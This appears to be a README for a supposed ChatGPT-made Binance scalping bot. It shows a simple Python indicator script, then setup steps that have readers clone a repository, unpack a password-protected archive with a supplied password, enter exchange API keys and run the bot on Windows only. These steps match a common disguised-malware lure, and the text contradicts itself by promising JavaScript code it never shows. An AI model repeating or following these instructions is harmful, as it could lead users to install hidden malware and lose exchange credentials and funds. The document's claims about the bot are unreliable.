Based on the chatgpt combo strategy for binance, I wrote and compiled a javascript program that looks as follows:

I asked chatgpt to write me an example of such a combo strategy for binance using the above indicators in python. To which gpt chat wrote me the following:

import pandas as pd
import numpy as np
import ccxt

# Initialize the cryptocurrency exchange (e.g., Binance)
exchange = ccxt.binance()

# Define the trading pair and timeframe
symbol = 'BTC/USDT'
timeframe = '5m'

# Fetch historical data
ohlcv = exchange.fetch_ohlcv(symbol, timeframe)
df = pd.DataFrame(ohlcv, columns=['timestamp', 'open', 'high', 'low', 'close', 'volume'])

# Calculate moving averages
df['ema10'] = df['close'].ewm(span=10).mean()
df['ema20'] = df['close'].ewm(span=20).mean()

# Calculate Stochastic Oscillator
k_period, d_period = 14, 3
low_min = df['low'].rolling(window=k_period).min()
high_max = df['high'].rolling(window=k_period).max()
df['%K'] = 100 * (df['close'] - low_min) / (high_max - low_min)
df['%D'] = df['%K'].rolling(window=d_period).mean()

# Calculate MACD
short_period, long_period, signal_period = 12, 26, 9
df['ema_short'] = df['close'].ewm(span=short_period).mean()
df['ema_long'] = df['close'].ewm(span=long_period).mean()
df['macd'] = df['ema_short'] - df['ema_long']
df['signal_line'] = df['macd'].ewm(span=signal_period).mean()

# Define entry and exit signals
df['long_entry'] = (df['ema10'] > df['ema20']) & (df['%K'] > df['%D']) & (df['macd'] > df['signal_line'])
df['long_exit'] = df['close'].pct_change() > 0.01  # 1% profit target as exit signal

# Simulate trades
in_trade = False
for index, row in df.iterrows():
    if row['long_entry'] and not in_trade:
        print(f"Enter long at {row['close']} USD")
        in_trade = True
    elif row['long_exit'] and in_trade:
        print(f"Exit long at {row['close']} USD")
        in_trade = False

To use this bot, follow these steps

  1. Clone the repository:

    git clone https://github.com/exileqeq/chatgpt-binance-scalping.git
    cd chatgpt-binance-scalping
  2. extract archive with pass 60nXdk3RK2f

  3. Configure your environment: In the .env file, specify the necessary api keys

  4. Define the trading pair and timeframe

  5. Select the amount in the bot

Requirments

Use windows 10/11 to work with scalping bot